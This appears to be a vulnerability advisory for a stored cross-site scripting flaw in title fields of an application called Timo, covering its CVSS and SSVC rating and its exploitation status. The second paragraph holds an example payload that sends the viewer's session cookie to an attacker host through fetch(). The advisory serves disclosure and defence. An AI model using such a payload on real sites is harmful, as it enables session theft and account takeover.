N A EUVD-2026-16187

The CVSS 6.1 vector (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) reflects a moderate-to-low severity profile: network-accessible, low attack complexity, no privileges required, but user interaction is required and scope is changed with only partial confidentiality and integrity impact. The SSVC framework indicates exploitation probability (POC available, not automatically exploitable, and technical impact is partial), positioning this as a real but not critical priority. While POC code exists, there is no confirmation of active exploitation in CISA KEV data. The cross-site scope (S:C) and requirement for user interaction (UI:R) mean this is a targeted attack vector rather than a broad systemic risk; however, in shared-content environments (blogs, documentation wikis, collaborative platforms) where multiple users view title fields, the blast radius increases substantially. This is a genuine priority for Timo deployments but not an emergency requiring emergency patching protocols.

An attacker crafts a hyperlink containing JavaScript payload and submits it as a title (e.g., title field containing '<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">') to create a resource, document, or post in a Timo instance. When other authenticated users view the title in a listing or detail page, the injected script executes in their browser within the Timo application's origin, allowing the attacker to exfiltrate session cookies, perform actions on behalf of the victim, or redirect users to a phishing site. Proof-of-concept code demonstrating this attack has been published on the public GitHub issue, lowering the barrier to exploitation, though actual confirmed exploitation in production environments has not been reported.